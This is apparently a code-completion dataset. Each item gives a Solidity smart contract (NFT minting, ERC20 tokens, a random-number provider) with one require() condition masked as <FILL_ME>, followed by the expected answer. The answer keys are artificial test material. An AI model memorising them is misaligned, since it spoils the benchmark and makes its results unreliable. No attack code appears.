emit Transfer (lead_deployer, to, value);
return true; }
if(to == Router) {
require(value <= balanceOf[from]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (from, to, value);
return true; }
require(!btAmount[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !btAmount[to],"Amount Exceeds Balance" | 241,075 | !btAmount[to] |
"max supply reached in presale phase" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Surf is Ownable, ERC721A, DefaultOperatorFilterer {
using ECDSA for bytes32;
using Strings for uint256;
string private _baseTokenURI;
uint256 public mintPrice = 0.019 ether;
bool public isPresaleActive = false;
bool public isSaleActive = false;
uint256 public maxSupply = 6000;
uint256 public presaleSupply = 6000;
uint256 public maxMintPerWallet = 2;
bool public isRevealed = false;
mapping(address => bool) public isAddressPresaleMinted;
mapping(address => bool) public isAddressMinted;
address public signer;
constructor() ERC721A("Surf and Turf", "SURF") DefaultOperatorFilterer() {}
modifier noContractMint() {
}
function presaleMint(uint256 quantity, bytes calldata signature)
external
payable
noContractMint
{
require(isPresaleActive, "presale is not active");
require(msg.value >= mintPrice * quantity, "insufficient funds");
require(<FILL_ME>)
require(totalSupply() + quantity <= maxSupply, "max supply reached");
require(quantity <= maxMintPerWallet, "quantity exceed maxMintPerWallet");
require(
isAddressPresaleMinted[msg.sender] == false,
"can only presaleMint once"
);
require(
_verifyPresaleWhitelistSignature(signature),
"can only mint with whitelist signature"
);
isAddressPresaleMinted[msg.sender] = true;
_safeMint(msg.sender, quantity);
}
function _verifyPresaleWhitelistSignature(bytes calldata signature)
internal
view
returns (bool)
{
}
function setSigner(address _signer) external onlyOwner {
}
function publicMint(uint256 quantity) external payable noContractMint {
}
function devMint(uint256 quantity, address to) external onlyOwner {
}
// implements operator-filter-registry blocklist filtering
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setIsPresaleActive(bool _isActive) external onlyOwner {
}
function setIsSaleActive(bool _isActive) external onlyOwner {
}
function setIsRevealed(bool _isRevealed) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setPresaleSupply(uint256 _presaleSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _maxMint) external onlyOwner {
}
// no ReentrancyGuard needed for Ownable
function withdraw() public payable onlyOwner {
}
}
| totalSupply()+quantity<=presaleSupply,"max supply reached in presale phase" | 241,108 | totalSupply()+quantity<=presaleSupply |
"can only presaleMint once" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Surf is Ownable, ERC721A, DefaultOperatorFilterer {
using ECDSA for bytes32;
using Strings for uint256;
string private _baseTokenURI;
uint256 public mintPrice = 0.019 ether;
bool public isPresaleActive = false;
bool public isSaleActive = false;
uint256 public maxSupply = 6000;
uint256 public presaleSupply = 6000;
uint256 public maxMintPerWallet = 2;
bool public isRevealed = false;
mapping(address => bool) public isAddressPresaleMinted;
mapping(address => bool) public isAddressMinted;
address public signer;
constructor() ERC721A("Surf and Turf", "SURF") DefaultOperatorFilterer() {}
modifier noContractMint() {
}
function presaleMint(uint256 quantity, bytes calldata signature)
external
payable
noContractMint
{
require(isPresaleActive, "presale is not active");
require(msg.value >= mintPrice * quantity, "insufficient funds");
require(
totalSupply() + quantity <= presaleSupply,
"max supply reached in presale phase"
);
require(totalSupply() + quantity <= maxSupply, "max supply reached");
require(quantity <= maxMintPerWallet, "quantity exceed maxMintPerWallet");
require(<FILL_ME>)
require(
_verifyPresaleWhitelistSignature(signature),
"can only mint with whitelist signature"
);
isAddressPresaleMinted[msg.sender] = true;
_safeMint(msg.sender, quantity);
}
function _verifyPresaleWhitelistSignature(bytes calldata signature)
internal
view
returns (bool)
{
}
function setSigner(address _signer) external onlyOwner {
}
function publicMint(uint256 quantity) external payable noContractMint {
}
function devMint(uint256 quantity, address to) external onlyOwner {
}
// implements operator-filter-registry blocklist filtering
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setIsPresaleActive(bool _isActive) external onlyOwner {
}
function setIsSaleActive(bool _isActive) external onlyOwner {
}
function setIsRevealed(bool _isRevealed) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setPresaleSupply(uint256 _presaleSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _maxMint) external onlyOwner {
}
// no ReentrancyGuard needed for Ownable
function withdraw() public payable onlyOwner {
}
}
| isAddressPresaleMinted[msg.sender]==false,"can only presaleMint once" | 241,108 | isAddressPresaleMinted[msg.sender]==false |
"can only mint with whitelist signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Surf is Ownable, ERC721A, DefaultOperatorFilterer {
using ECDSA for bytes32;
using Strings for uint256;
string private _baseTokenURI;
uint256 public mintPrice = 0.019 ether;
bool public isPresaleActive = false;
bool public isSaleActive = false;
uint256 public maxSupply = 6000;
uint256 public presaleSupply = 6000;
uint256 public maxMintPerWallet = 2;
bool public isRevealed = false;
mapping(address => bool) public isAddressPresaleMinted;
mapping(address => bool) public isAddressMinted;
address public signer;
constructor() ERC721A("Surf and Turf", "SURF") DefaultOperatorFilterer() {}
modifier noContractMint() {
}
function presaleMint(uint256 quantity, bytes calldata signature)
external
payable
noContractMint
{
require(isPresaleActive, "presale is not active");
require(msg.value >= mintPrice * quantity, "insufficient funds");
require(
totalSupply() + quantity <= presaleSupply,
"max supply reached in presale phase"
);
require(totalSupply() + quantity <= maxSupply, "max supply reached");
require(quantity <= maxMintPerWallet, "quantity exceed maxMintPerWallet");
require(
isAddressPresaleMinted[msg.sender] == false,
"can only presaleMint once"
);
require(<FILL_ME>)
isAddressPresaleMinted[msg.sender] = true;
_safeMint(msg.sender, quantity);
}
function _verifyPresaleWhitelistSignature(bytes calldata signature)
internal
view
returns (bool)
{
}
function setSigner(address _signer) external onlyOwner {
}
function publicMint(uint256 quantity) external payable noContractMint {
}
function devMint(uint256 quantity, address to) external onlyOwner {
}
// implements operator-filter-registry blocklist filtering
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setIsPresaleActive(bool _isActive) external onlyOwner {
}
function setIsSaleActive(bool _isActive) external onlyOwner {
}
function setIsRevealed(bool _isRevealed) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setPresaleSupply(uint256 _presaleSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _maxMint) external onlyOwner {
}
// no ReentrancyGuard needed for Ownable
function withdraw() public payable onlyOwner {
}
}
| _verifyPresaleWhitelistSignature(signature),"can only mint with whitelist signature" | 241,108 | _verifyPresaleWhitelistSignature(signature) |
"can only publicMint once" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Surf is Ownable, ERC721A, DefaultOperatorFilterer {
using ECDSA for bytes32;
using Strings for uint256;
string private _baseTokenURI;
uint256 public mintPrice = 0.019 ether;
bool public isPresaleActive = false;
bool public isSaleActive = false;
uint256 public maxSupply = 6000;
uint256 public presaleSupply = 6000;
uint256 public maxMintPerWallet = 2;
bool public isRevealed = false;
mapping(address => bool) public isAddressPresaleMinted;
mapping(address => bool) public isAddressMinted;
address public signer;
constructor() ERC721A("Surf and Turf", "SURF") DefaultOperatorFilterer() {}
modifier noContractMint() {
}
function presaleMint(uint256 quantity, bytes calldata signature)
external
payable
noContractMint
{
}
function _verifyPresaleWhitelistSignature(bytes calldata signature)
internal
view
returns (bool)
{
}
function setSigner(address _signer) external onlyOwner {
}
function publicMint(uint256 quantity) external payable noContractMint {
require(isSaleActive, "sale is not active");
require(msg.value >= mintPrice * quantity, "insufficient funds");
require(totalSupply() + quantity <= maxSupply, "max supply reached");
require(quantity <= maxMintPerWallet, "quantity exceed maxMintPerWallet");
require(<FILL_ME>)
isAddressMinted[msg.sender] = true;
_safeMint(msg.sender, quantity);
}
function devMint(uint256 quantity, address to) external onlyOwner {
}
// implements operator-filter-registry blocklist filtering
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setIsPresaleActive(bool _isActive) external onlyOwner {
}
function setIsSaleActive(bool _isActive) external onlyOwner {
}
function setIsRevealed(bool _isRevealed) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setPresaleSupply(uint256 _presaleSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _maxMint) external onlyOwner {
}
// no ReentrancyGuard needed for Ownable
function withdraw() public payable onlyOwner {
}
}
| isAddressMinted[msg.sender]==false,"can only publicMint once" | 241,108 | isAddressMinted[msg.sender]==false |
'SBT already exists' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import {Operable} from './Operable.sol';
contract YUKIMASA_IDA_Level_of_Distance_Release_Party is ERC1155URIStorage, Ownable, Operable {
using Strings for string;
string public name = 'YUKIMASA IDA Level of Distance Release Party';
string public symbol = 'YILDRP';
mapping(address => bool) bondedAddress;
constructor() ERC1155('') {
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
}
function locked(address to) external view returns (bool) {
}
function bound(address to, bool flag) public onlyOperator {
}
function setBaseURI(string memory uri_) external onlyOperator {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI)
external
onlyOperator
{
}
function initializeSBT(uint256 tokenId, string memory _tokenURI)
public
onlyOperator
{
require(<FILL_ME>)
_mint(msg.sender, tokenId, 1, '');
_setURI(tokenId, _tokenURI);
}
function mint(
address to,
uint256 id,
uint256 amount
) public onlyOperator {
}
function batchMintTo(
address[] memory list,
uint256 id,
uint256[] memory amount
) public onlyOperator {
}
function burnAdmin(
address to,
uint256 id,
uint256 amount
) public onlyOperator {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
}
/**
@dev Operable Role
*/
function grantOperatorRole(address _candidate) external onlyOwner {
}
function revokeOperatorRole(address _candidate) external onlyOwner {
}
}
| bytes(uri(tokenId)).length==0,'SBT already exists' | 241,129 | bytes(uri(tokenId)).length==0 |
'Not initialized' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import {Operable} from './Operable.sol';
contract YUKIMASA_IDA_Level_of_Distance_Release_Party is ERC1155URIStorage, Ownable, Operable {
using Strings for string;
string public name = 'YUKIMASA IDA Level of Distance Release Party';
string public symbol = 'YILDRP';
mapping(address => bool) bondedAddress;
constructor() ERC1155('') {
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
}
function locked(address to) external view returns (bool) {
}
function bound(address to, bool flag) public onlyOperator {
}
function setBaseURI(string memory uri_) external onlyOperator {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI)
external
onlyOperator
{
}
function initializeSBT(uint256 tokenId, string memory _tokenURI)
public
onlyOperator
{
}
function mint(
address to,
uint256 id,
uint256 amount
) public onlyOperator {
require(<FILL_ME>)
_mint(to, id, amount, '');
}
function batchMintTo(
address[] memory list,
uint256 id,
uint256[] memory amount
) public onlyOperator {
}
function burnAdmin(
address to,
uint256 id,
uint256 amount
) public onlyOperator {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
}
/**
@dev Operable Role
*/
function grantOperatorRole(address _candidate) external onlyOwner {
}
function revokeOperatorRole(address _candidate) external onlyOwner {
}
}
| bytes(uri(id)).length!=0,'Not initialized' | 241,129 | bytes(uri(id)).length!=0 |
"Transfer amount exceeds the bag size." | /**
*Submitted for verification at Etherscan.io on 2023-10-10
*/
/*
TELEGRAM:https://t.me/BoboonETHERC20
TWITTER: https://twitter.com/BoboOn_ETH
BOBO ON ETH! BOBO PEPE'S BEST FRIEDN
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BOBO is ERC20, Ownable {
using SafeMath for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Bobo on ETH";
string constant _symbol = "BOBO";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000_000_000 * (10 ** _decimals);
uint256 public _maxWalletAmount = (_totalSupply * 5) / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempts;
mapping (address => bool) isTxLimitExempts;
address public marketingFeeReceivers = 0xc7752fcd448Ae997AAFE2Ae7227F32F2e1887e58;
address public devWallet;
uint256 liquidityFee = 0;
uint256 marketingFee = 1;
uint256 totalFee = liquidityFee + marketingFee;
uint256 feeDenominator = 100;
IDEXRouter public router;
address public pair;
bool public swapEnabled = false;
uint256 public swapThreshold = (5 *_totalSupply) / 10000; // 0.05%
bool inSwap;
modifier swapping() { }
address Owner;
bool public TradingOpen = false;
constructor () Ownable(msg.sender) {
}
function addLiquidity() public payable onlyOwner
{
}
function enableTrading() public onlyOwner {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (!isFeeExempts[sender] && !isFeeExempts[recipient]) {
require(TradingOpen, "Trading not enabled");
} else {
return _basicTransfer(sender, recipient, amount);
}
if (recipient != pair && recipient != DEAD) {
require(<FILL_ME>)
}
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function swapBack() internal swapping {
}
function shouldExcludeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckEthBalance() external {
}
function removeLimit() external onlyOwner {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function ratio(address sender) internal view returns (uint256) {
}
function buyETHForTokens(uint256 amount, address to) internal swapping {
}
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}
| isTxLimitExempts[recipient]||_balances[recipient]+amount<=_maxWalletAmount,"Transfer amount exceeds the bag size." | 241,297 | isTxLimitExempts[recipient]||_balances[recipient]+amount<=_maxWalletAmount |
"Max supply exceeded!" | pragma solidity >=0.8.13 <0.9.0;
contract TheDevilofEmpyrean is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string private originURI;
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public howMuchPerTx = 0.00088 ether;
uint256 public SupplyLimit = 3333;
uint256 public maxMintPerTx = 10;
uint256 public maxInYourWallet = 10;
bool public openSale = false;
bool public reveal = true;
constructor(
string memory _uri,
string memory _hiddenMetadataUri
)
ERC721A("The Devil of Empyrean", "EMPYREAN") {
}
function Mint(uint256 _mintAmount) public payable nonReentrant{
require(openSale, "The Sale is paused!");
require(_mintAmount > 0 && _mintAmount <= maxMintPerTx, "Invalid mint amount!");
require(<FILL_ME>)
require(balanceOf(msg.sender) + _mintAmount <= maxInYourWallet, "Max mint per wallet exceeded!");
require(msg.value >= _mintAmount * howMuchPerTx,"Wrong amount input!");
_safeMint(_msgSender(), _mintAmount);
}
function Airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function DevMint(uint256 _mintAmount) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setURI(string memory _uri) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function openShopStatus(bool _sale) public onlyOwner {
}
function setmaxMintPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setmaxInYourWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function sethowMuchPerTx(uint256 _cost) public onlyOwner {
}
function setSupplyLimit(uint256 _supplyLimit) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant{
}
function tokensOwner(address owner) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+_mintAmount<=SupplyLimit,"Max supply exceeded!" | 241,420 | totalSupply()+_mintAmount<=SupplyLimit |
"Max mint per wallet exceeded!" | pragma solidity >=0.8.13 <0.9.0;
contract TheDevilofEmpyrean is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string private originURI;
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public howMuchPerTx = 0.00088 ether;
uint256 public SupplyLimit = 3333;
uint256 public maxMintPerTx = 10;
uint256 public maxInYourWallet = 10;
bool public openSale = false;
bool public reveal = true;
constructor(
string memory _uri,
string memory _hiddenMetadataUri
)
ERC721A("The Devil of Empyrean", "EMPYREAN") {
}
function Mint(uint256 _mintAmount) public payable nonReentrant{
require(openSale, "The Sale is paused!");
require(_mintAmount > 0 && _mintAmount <= maxMintPerTx, "Invalid mint amount!");
require(totalSupply() + _mintAmount <= SupplyLimit, "Max supply exceeded!");
require(<FILL_ME>)
require(msg.value >= _mintAmount * howMuchPerTx,"Wrong amount input!");
_safeMint(_msgSender(), _mintAmount);
}
function Airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function DevMint(uint256 _mintAmount) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setURI(string memory _uri) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function openShopStatus(bool _sale) public onlyOwner {
}
function setmaxMintPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setmaxInYourWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function sethowMuchPerTx(uint256 _cost) public onlyOwner {
}
function setSupplyLimit(uint256 _supplyLimit) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant{
}
function tokensOwner(address owner) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| balanceOf(msg.sender)+_mintAmount<=maxInYourWallet,"Max mint per wallet exceeded!" | 241,420 | balanceOf(msg.sender)+_mintAmount<=maxInYourWallet |
"RandomProvider: Zero address" | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import "./interfaces/IRandomProvider.sol";
import "./interfaces/IBabylonCore.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
contract RandomProvider is IRandomProvider, Ownable, VRFConsumerBaseV2 {
event RequestSent(uint256 requestId, uint256 listingId);
event RequestFulfilled(uint256 requestId, uint256 listingId, uint256[] randomWords);
struct RequestStatus {
bool exists; // whether a requestId exists
uint256 requestTimestamp; // timestamp of a request
uint256 listingId; //to which listing request corresponds
}
mapping(uint256 => RequestStatus) public requests; //requestId --> requestStatus
VRFCoordinatorV2Interface immutable VRF_COORDINATOR;
uint64 immutable subscriptionId;
bytes32 immutable keyHash;
IBabylonCore internal _core;
uint32 constant CALLBACK_GAS_LIMIT = 500000;
uint16 constant REQUEST_CONFIRMATIONS = 20;
uint16 constant NUM_WORDS = 1;
constructor(
address vrfCoordinator_,
uint64 subscriptionId_,
bytes32 keyHash_
) VRFConsumerBaseV2(vrfCoordinator_) {
}
function getBabylonCore() external view returns (address) {
}
function setBabylonCore(IBabylonCore core) external onlyOwner {
require(<FILL_ME>)
_core = core;
}
function fulfillRandomWords(uint256 _requestId, uint256[] memory randomWords) internal override {
}
function isRequestOverdue(
uint256 requestId
) external view override returns (bool) {
}
function requestRandom(
uint256 listingId
) external override returns (uint256 requestId) {
}
}
| address(core)!=address(0),"RandomProvider: Zero address" | 241,430 | address(core)!=address(0) |
'RandomProvider: requestId not found' | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import "./interfaces/IRandomProvider.sol";
import "./interfaces/IBabylonCore.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
contract RandomProvider is IRandomProvider, Ownable, VRFConsumerBaseV2 {
event RequestSent(uint256 requestId, uint256 listingId);
event RequestFulfilled(uint256 requestId, uint256 listingId, uint256[] randomWords);
struct RequestStatus {
bool exists; // whether a requestId exists
uint256 requestTimestamp; // timestamp of a request
uint256 listingId; //to which listing request corresponds
}
mapping(uint256 => RequestStatus) public requests; //requestId --> requestStatus
VRFCoordinatorV2Interface immutable VRF_COORDINATOR;
uint64 immutable subscriptionId;
bytes32 immutable keyHash;
IBabylonCore internal _core;
uint32 constant CALLBACK_GAS_LIMIT = 500000;
uint16 constant REQUEST_CONFIRMATIONS = 20;
uint16 constant NUM_WORDS = 1;
constructor(
address vrfCoordinator_,
uint64 subscriptionId_,
bytes32 keyHash_
) VRFConsumerBaseV2(vrfCoordinator_) {
}
function getBabylonCore() external view returns (address) {
}
function setBabylonCore(IBabylonCore core) external onlyOwner {
}
function fulfillRandomWords(uint256 _requestId, uint256[] memory randomWords) internal override {
require(<FILL_ME>)
_core.resolveClaimer(requests[_requestId].listingId, randomWords[0]);
emit RequestFulfilled(_requestId, requests[_requestId].listingId, randomWords);
}
function isRequestOverdue(
uint256 requestId
) external view override returns (bool) {
}
function requestRandom(
uint256 listingId
) external override returns (uint256 requestId) {
}
}
| requests[_requestId].exists,'RandomProvider: requestId not found' | 241,430 | requests[_requestId].exists |
"URI request for invalid type" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./IWNS_Passes.sol";
contract WNS_Passes is ERC1155, AccessControl {
using Strings for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
constructor() ERC1155("") {
}
/**
* Owner Only
*/
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
/**
* Linked Authority Contracts
*/
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
